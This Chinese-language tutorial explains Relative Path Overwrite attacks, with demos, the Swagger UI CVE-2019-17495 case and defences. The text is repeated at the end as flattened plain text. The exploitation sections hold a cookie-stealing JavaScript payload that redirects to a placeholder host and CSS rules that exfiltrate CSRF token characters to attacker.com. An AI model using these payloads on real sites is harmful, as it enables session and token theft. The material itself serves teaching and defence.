浅谈一个冷饭-RPO漏洞的利用
字数 1171 2025-08-22 18:37:22

RPO漏洞原理与利用详解

1. RPO漏洞概述

RPO(Relative Path Overwrite)是一种基于服务器与客户端路径解析差异的安全漏洞,最早可追溯到2014年。该漏洞的核心在于服务器和浏览器对URL路径的解析方式不同,导致资源加载路径可以被攻击者控制。

1.1 基本概念

  • URL重写:服务器将特定格式的URL重定向到实际处理程序(如/index.php/1234被服务器识别为index.php带参数)
  • 相对路径解析:浏览器将整个URL路径视为当前目录,包括重写后的部分
  • 资源加载差异:服务器返回的是原始页面内容,但浏览器会尝试在重写后的路径下加载资源

2. 漏洞原理分析

2.1 基本示例

考虑以下两种资源引用方式:

<script src="/src/main.js"></script>  <!-- 绝对路径 -->
<script src="src/main.js"></script>   <!-- 相对路径 -->

访问http://web.com/index.php时两者行为相同,但访问http://web.com/index.php/时:

  • 绝对路径:加载/src/main.js
  • 相对路径:浏览器会将/index.php/视为目录,尝试加载/index.php/src/main.js

2.2 CSS注入场景

<link rel="stylesheet" type="text/css" href="style.css" />

访问index.php/tmp/时:

  • 服务器返回index.php内容
  • 浏览器尝试加载index.php/tmp/style.css
  • CSS解析器会忽略无效语法,导致页面内容被当作CSS解析

3. 漏洞利用实例

3.1 Demo1:XSS利用

漏洞代码

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path'])) . " 2>/dev/null &"), $output);
    echo($output[0]);
}
?>

利用条件

  • 使用相对路径加载JS文件
  • 存在DOM XSS漏洞
  • 有Bot会访问用户提供的路径

利用步骤

  1. 访问index.php/index.php观察资源加载差异
  2. 构造XSS payload绕过过滤:

3.2 Demo2:进阶利用

服务器配置

RewriteEngine on
RewriteRule ^/(.*\.(js|css))$ /static/$1 [L]
ErrorDocument 404 /404.php

404.php

<?php 
header("HTTP/1.1 200 OK"); 
echo $_SERVER["REQUEST_URI"] . " not found."; 
?>

利用方法

  1. 访问/index.php/filter.js使PHP内容被当作JS执行
  2. 构造payload:
/index.php/;alert(1)//
  1. 窃取cookie:
;location.href='https://xxx.com/'%2bdocument.cookie;//

4. 真实案例:CVE-2019-17495

漏洞描述
Swagger UI存在RPO+CSS注入漏洞,可通过构造特殊CSS规则窃取CSRF token。

利用方式

input[name=csrf][value^=aa]{ 
    background-image: url(https://attacker.com/exfil/a); 
}
input[name=csrf][value^=ab]{ 
    background-image: url(https://attacker.com/exfil/b); 
}
...
input[name=csrf][value^=a9]{ 
    background-image: url(https://attacker.com/exfil/9); 
}

通过观察请求顺序可逐步获取完整的CSRF token。

5. 防御措施

  1. 使用<base>标签
<base href="/">

确保所有相对路径基于指定基准,不受URL构造影响。

  1. 避免URL重写或严格限制重写规则

  2. 使用绝对路径引用所有资源

  3. 设置Content-Security-Policy头限制资源加载源

  4. 禁用不必要的HTTP方法如PUT、DELETE等

6. 总结

RPO漏洞虽然利用条件较为苛刻,但一旦与其他漏洞(如XSS、CSS注入)结合可能造成严重危害。防御关键在于统一服务器与客户端的路径解析方式,并严格控制资源加载行为。

RPO漏洞原理与利用详解 1. RPO漏洞概述 RPO(Relative Path Overwrite) 是一种基于服务器与客户端路径解析差异的安全漏洞,最早可追溯到2014年。该漏洞的核心在于服务器和浏览器对URL路径的解析方式不同,导致资源加载路径可以被攻击者控制。 1.1 基本概念 URL重写 :服务器将特定格式的URL重定向到实际处理程序(如 /index.php/1234 被服务器识别为 index.php 带参数) 相对路径解析 :浏览器将整个URL路径视为当前目录,包括重写后的部分 资源加载差异 :服务器返回的是原始页面内容,但浏览器会尝试在重写后的路径下加载资源 2. 漏洞原理分析 2.1 基本示例 考虑以下两种资源引用方式: 访问 http://web.com/index.php 时两者行为相同,但访问 http://web.com/index.php/ 时: 绝对路径:加载 /src/main.js 相对路径:浏览器会将 /index.php/ 视为目录,尝试加载 /index.php/src/main.js 2.2 CSS注入场景 访问 index.php/tmp/ 时: 服务器返回 index.php 内容 浏览器尝试加载 index.php/tmp/style.css CSS解析器会忽略无效语法,导致页面内容被当作CSS解析 3. 漏洞利用实例 3.1 Demo1:XSS利用 漏洞代码 : 利用条件 : 使用相对路径加载JS文件 存在DOM XSS漏洞 有Bot会访问用户提供的路径 利用步骤 : 访问 index.php/ 和 index.php 观察资源加载差异 构造XSS payload绕过过滤: 3.2 Demo2:进阶利用 服务器配置 : 404.php : 利用方法 : 访问 /index.php/filter.js 使PHP内容被当作JS执行 构造payload: 窃取cookie: 4. 真实案例:CVE-2019-17495 漏洞描述 : Swagger UI存在RPO+CSS注入漏洞,可通过构造特殊CSS规则窃取CSRF token。 利用方式 : 通过观察请求顺序可逐步获取完整的CSRF token。 5. 防御措施 使用 <base> 标签 : 确保所有相对路径基于指定基准,不受URL构造影响。 避免URL重写 或严格限制重写规则 使用绝对路径 引用所有资源 设置Content-Security-Policy 头限制资源加载源 禁用不必要的HTTP方法 如PUT、DELETE等 6. 总结 RPO漏洞虽然利用条件较为苛刻,但一旦与其他漏洞(如XSS、CSS注入)结合可能造成严重危害。防御关键在于统一服务器与客户端的路径解析方式,并严格控制资源加载行为。